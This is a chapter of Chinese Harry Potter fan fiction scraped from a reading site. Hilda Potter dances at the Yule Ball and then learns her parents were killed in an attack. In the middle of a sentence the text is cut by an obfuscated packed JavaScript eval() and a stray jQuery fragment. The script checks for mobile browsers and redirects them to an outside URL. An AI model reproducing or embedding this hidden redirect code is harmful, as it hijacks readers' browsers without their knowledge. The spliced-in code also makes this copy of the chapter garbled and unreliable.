123读书网 > 都市小说 > [HP]希尔达·波特的生平与谎言 > 51.第49章 圣诞舞会(下)

51.第49章 圣诞舞会(下)

    丰盛的晚宴在欢声笑语中展开。


    长桌上摆满了霍格沃茨厨房所能提供的所有美味。从堆成小山般的烤火鸡,到会自动补充的蜜汁布丁,空气中弥漫着令人垂涎的香气。


    希尔达正品尝着一块蘸满肉汁的烤土豆,耳边却传来一个略显尖锐的女声。


    是那个布斯巴顿的女生,伊莎贝尔。


    她正对着她的舞伴——一个看起来对她着迷不已的拉文克劳男生——用一种带着明显鄙夷的语气说话。


    “……所以,你以为罗齐尔家为什么在法国待不下去?”伊莎贝尔轻哼一声,“可不只是出了个雯达·罗齐尔那么简单。”


    她慢条斯理地切着肉排,继续科普道:“为了向格林德沃表忠心,他们家族可是暗中出卖过不少自己过去的盟友,手段卑劣得很。这种靠着背叛上位的家族,也配称为纯血?而且,据说罗齐尔家族从格林德沃那里得到了不少残忍又强大的黑魔法传承……”


    希尔达握着叉子的手微微一顿,下意识抬眼在礼堂中搜寻。


    没有。


    她确定自己没有看到德鲁埃拉·罗齐尔的身影。


    在这个全校师生几乎都在欢庆的夜晚,这位转校生的缺席显得格外突兀。


    一丝疑虑浮上希尔达的心头。


    但很快,她的思绪就被迪佩特校长宣布舞会正式开始的声音打断了。


    礼堂里,悠扬的华尔兹乐曲奏响,氛围一下子染上了几分浪漫。


    阿尔法德向她微微躬身,伸出了手。


    “我不太会跳这种正式的舞。”希尔达将手放入他的掌心,低声坦言,脸上的神色完全是格兰芬多式的直率。


    “没关系。”阿尔法德引领着她滑入舞池,一双灰色眼眸里是无所谓的神色,“跟着我就好,跳得开心最重要。”


    跳舞本身不重要,重要的是与舞伴近距离相处的机会。


    在今晚之前,阿尔法德只觉得从前家族礼仪课上学的东西毫无用处且很无聊,但现在他却觉得那些东西总算有点用处了。


    在希尔达的视角里,带着她共舞的少年动作流畅而稳定,舞步娴熟又优雅,并且总能提前预判她的生疏,体贴地用引领和细微的力道调整来配合她,让她几乎感觉不到笨拙。


    渐渐地,她放松下来,开始享受这种随着音乐旋转、裙摆飞扬的感觉。


    她甚至有闲暇环顾四周。


    然后她就看到了不远处正与一位黑发少年共舞的沃尔布加。


    那位共舞的少年,长相看起来和沃尔布加有点像,希尔达猜测可能是布莱克家族里的兄弟。


    像是敏锐地感觉到了她的视线,沃尔布加望了过来。那目光简直能冻彻黑湖的水。


    希尔达差点忍不住笑出来。


    她的目光又寻到了赛普蒂默斯——韦斯莱家那标志性的红发实在太显眼了。


    此时,赛普正和赛德瑞拉·布莱克跳舞,动作有些僵硬,甚至不小心踩了舞伴一脚。


    但那位沉静的布莱克小姐只是微微摇头,脸上没有丝毫恼怒,反而低声说了句什么,让赛普蒂默斯窘迫的脸上重新露出了笑容。


    “你们布莱克家真有意思。”希尔达转回头,对阿尔法德轻声笑道,“大部分人看起来都像沃尔布加那样,把‘纯血荣耀’刻在脸上,顽固得像黑湖底的石头。但好像每一代,总会冒出那么一两个……像你,像赛德瑞拉小姐这样的‘叛逆’。”


    阿尔法德随着她的目光,也看到了堂姐与韦斯莱共舞的情景。


    他眼中浮现复杂的神色,嘴角勾起浅浅的弧度。


    “叛逆……”他低声重复了一遍这个词,像是在品味什么,“或许越是强调统一的家族,内部就越是涌动想要挣脱束缚的暗流。”


    与此同时,在舞池的另一端,阿布拉克萨斯·马尔福正心不在焉地应付着他的舞伴——一位他前两天随手邀请的斯莱特林低年级学妹。


    女孩满脸崇拜的笑容,嘴上说着恭维他的话语。平日里他或许还会礼貌地应答两句,但现在这些却完全吸引不了他的注意力。


    他的目光如同被磁石吸引,一次次不受控制地穿越人群,落在那个旋转的蓝紫色身影上。


    此刻,阿布拉克萨斯脑子里反复想着的,是自己精心准备的那份圣诞礼物。


    一条被施加了敏捷咒与风之祝福的发带,很适合打魁地奇时使用,还是格兰芬多的红色。


    此刻,礼物正安静躺在他的礼服内袋里。


    阿布拉克萨斯确信,比起上次那个被退回的、华而不实的飞鸟发扣,这次的选择一定能真正触动她。


    他甚至在脑海中预演了无数次,该如何在不经意间,用他最擅长的、漫不经心的姿态将它送出。


    今晚,当阿布拉克萨斯第一眼看到盛装的希尔达时,呼吸几乎停滞。她今晚美得惊人,如同将所有星光披在了身上。


    然而,这份惊艳在他看到她与阿尔法德挽在一起的手臂时,瞬间化成了噬心的嫉恨,让他险些控制不住脸上优雅的面具。


    昨夜,他失眠至深夜,脑海里反复播放着魁地奇赛场上的一幕幕——她飘扬的发尾,玫瑰花瓣般泛红的脸颊,她在风雪中火焰燃烧般的身影,还有她那双永不屈服的、明亮的眼眸。


    在一片寂静与黑暗中,他终于不得不向自己彻底坦白。


    那份纠缠他已久的、炽热而痛苦的情感,早已超越了最初的厌恶与偏见。


    他爱她。


    这个认知让他感到恐慌,又带着一种奇异的解脱。


    所以,他下定决心,无论如何,今夜一定要找到一个机会,与她共舞,哪怕只有短暂的一刻,哪怕要使用一些非常手段。


    …………


    随着夜色渐深,舞池的气氛越发随性热烈。


    零点的钟声即将敲响,许多学生已经不再局限于最初的舞伴。


    阿尔法德因为脸色苍白,看起来有些疲倦,被希尔达强行拉到舞池边的长椅上休息去了。


    一直暗自关注着希尔达的埃文·麦克米兰看到这一幕,瞅准时机,微笑着上前发出了邀请。


    “好吧,那就跳一支舞。”希尔达对他的锲而不舍感到有趣,笑着应允了这个邀请。


    两人滑入舞池后不久,一直蛰伏在侧的阿布拉克萨斯决定行动。他等了一整个晚上,已经等不下去了。


    他迅速与身旁的舞伴低语一句,然后借着旋转的巧劲,以一种流畅到近乎无赖的舞步,瞬间切入希尔达与麦克米兰之间,自然而然地完成了舞伴的交换。


    他借着惯性,一把将希尔达揽到了自己身前。而麦克米兰则与他原本的舞伴撞个满怀,一脸错愕。


    希尔达只觉眼前一花,一个陌生而冷冽的气息便取代了埃文·麦克米兰。


    她抬起头,对上阿布拉克萨斯那双在灯光下显得异常明亮的蓝眼睛,里面翻涌着执着、紧张和一丝得逞的狡猾。


    “你——!”她立刻沉下脸,想要抽身。


    “别动,”阿布拉克萨斯的声音有些沙哑,手臂带着不容抗拒的力道,引着她跟上音乐的节奏,“就一支舞,波特……就快到零点了。”


    或许是这支舞曲已近尾声,或许是他近乎祈求的语气太过罕见,希尔达迟疑了一秒,没能立刻挣脱。


    “当——当——当——”


    悠远的钟声回荡在城堡的每一个角落。


    与此同时,礼堂巨大的窗户外面,漆黑的夜空被骤然点亮。


    无数绚烂的魔法烟火如同巨大的、会呼吸的花束,在夜空中轰然绽放,流光溢彩,将每一张仰望的脸庞都映照得明暗不定。


    这瞬间的壮美吸引了希尔达的注意,让她一时忘了甩开他的手。


    阿布拉克萨斯没有看向窗外,他的目光依旧聚焦在怀中的少女脸上。


    他感受着掌心下她手腕的温度,望着她被烟火照亮的、近在咫尺的侧脸。她弯长的睫毛在光亮中投下柔和的阴影,比他所有幻梦中的景象都更加朦胧。


    烟火还在继续绽放,希尔达忽然注意到米兰达·戈沙克教授正穿过人群,面色凝重、步履匆匆地径直向她走来。


    教授的脸上没有丝毫节日的喜悦,目光中仿佛一种强忍着的、深切的悲悯。


    希尔达心中涌起一种不祥的预感,冲散了此刻节日所有迷离的快乐。


    “波特小姐。”戈沙克教授声音低沉,语气急促,甚至顾不上礼节,“请立刻跟我出来一下。”


    希尔达连忙甩开阿布拉克萨斯的手,牵起裙摆跟上教授的步伐。


    阿布拉克萨斯手心的温暖瞬间被空荡的寒意取代。他那份精心准备的圣诞礼物还没来得及送出去。


    他下意识地想跟上,想质问,但戈沙克教授用严厉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806699|187957||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的眼神阻止了他。


    与此同时,不远处一直关注着希尔达的阿尔法德立刻站起身,快步追了出去。


    阿布拉克萨斯犹豫了一瞬,心中对发生了什么紧急事件的担忧,以及那份无法割舍的牵挂,最终压倒了一切。他也追了出去。


    …………


    希尔达怀着几分被强行从庆典中拉出的隐约不安,跟随戈沙克教授走到寂静寒冷的走廊上。


    舞会的热浪被抛在身后,石墙的冰冷透过单薄的礼服渗入皮肤。


    戈沙克教授停下脚步,转过身,那双平日里充满睿智的眼睛,此刻盛满了沉重的悲悯。


    她双手轻轻扶住希尔达的肩膀,仿佛想借此传递一些力量。


    “希尔达……我的孩子,冷静下来,听我说。戈德里克山谷遭遇了袭击。”


    袭击?


    希尔达的心一沉。


    是房子被毁了?还是说……爸爸的魁地奇奖杯陈列室被烧了?


    不,只要人没事……


    教授的手指微微收紧,眼中悲悯更甚,几乎带着一丝不忍:“是圣徒。他们的目标应该是波特家的隐形斗篷。”


    隐形斗篷!


    希尔达的呼吸骤然急促。


    所以……是冲着宝物来的?那爸爸妈妈他们……


    “你的父母……亨利和赫斯提亚……” 教授的声音带着几分颤抖,她停顿了一下,还是残忍地、清晰地落下最后的重锤,“他们为了保护家人,为了保护传承……英勇地战斗到了最后一刻。”


    最后一刻。


    这个词像一道分割线,将希尔达的世界劈成两半。


    时间仿佛凝固了。她怔在原地,棕色的眼眸空洞地望着教授,所有的声音都消失了,只有心脏在胸腔里疯狂而徒劳地撞击着。


    脑海里不受控制地闪过画面——开学前,阳光明媚的清晨,国王十字车站,妈妈赫斯提亚笑着替她整理衣领,说着“照顾好自己”。


    爸爸亨利拍了拍她的头,像往常一样叮嘱:“别惹麻烦,但也别怕麻烦。”


    他们一起站在站台上,朝她挥手。列车启动,他们的身影在初秋的阳光下拉得很长……


    那么平常,那么温暖。仿佛她只要现在用飞路粉回去,还能看到他们站在那里,笑着问她怎么突然回来了。


    她甚至想起了更久以前,弗利蒙从车站接她回家,爸爸总会提前站在村落门口的栅栏边等她。而妈妈会做很多她喜欢的蔓越莓果酱馅饼,准备丰盛的晚餐,摆满餐桌。


    他们还在那里。他们一定还在那里等着她。


    这个念头如同最后的救命稻草,让她几乎要微笑起来。


    对,回去!现在就回去!


    下一秒,她猛地推开戈沙克教授扶着她的手,像一支离弦的箭,不顾一切地朝着城堡大门的方向冲去。


    她要回家!立刻!马上!


    “希尔达!”


    阿尔法德一直紧随其后,在她失控冲出去的瞬间便追了上去。


    然而她的速度快得惊人,带着一种绝望的、非理性的力量。


    就在她即将冲下连接门厅的一段石阶,险些狠狠摔下去之前,他终于追上了她,从她身后伸出手臂,用尽全身力气,将她紧紧地、几乎是踉跄着抱了回来,禁锢在自己的怀里。


    “放开我!我要回家!他们还在等我——!”


    希尔达在他怀中疯狂地挣扎,声音尖利得不像她自己,泪水终于后知后觉地汹涌而出,模糊了视线。


    阿尔法德紧紧抱着她,任由她的拳头捶打在自己的胸膛,感受着她的身体从冰冷到剧烈颤抖的全过程。


    他单膝跪地,用自己的身体作为支撑,将她牢牢护住,灰色的眼眸里盛满与她共情的巨大震惊与悲伤。


    希尔达所有的哭喊和挣扎,都在阿尔法德那无声却牢固的拥抱中,渐渐化作了无声的颤抖。


    那试图奔回家园的冲动,终于被冰冷的现实彻底击碎。


    她不再能发出声音,只是张着嘴,像离水的鱼。所有的力气、所有的希望,都在意识到“家已不存,无人等待”的那个瞬间,被彻底抽空。


    她瘫软在他的怀中,意识被一种更原始、更彻底的力量攫住并撕碎——


    那不是泪水,不是哭喊,而是心神在瞬间被噩耗碾为齑粉后,万籁俱寂的、无边无际的悲恸。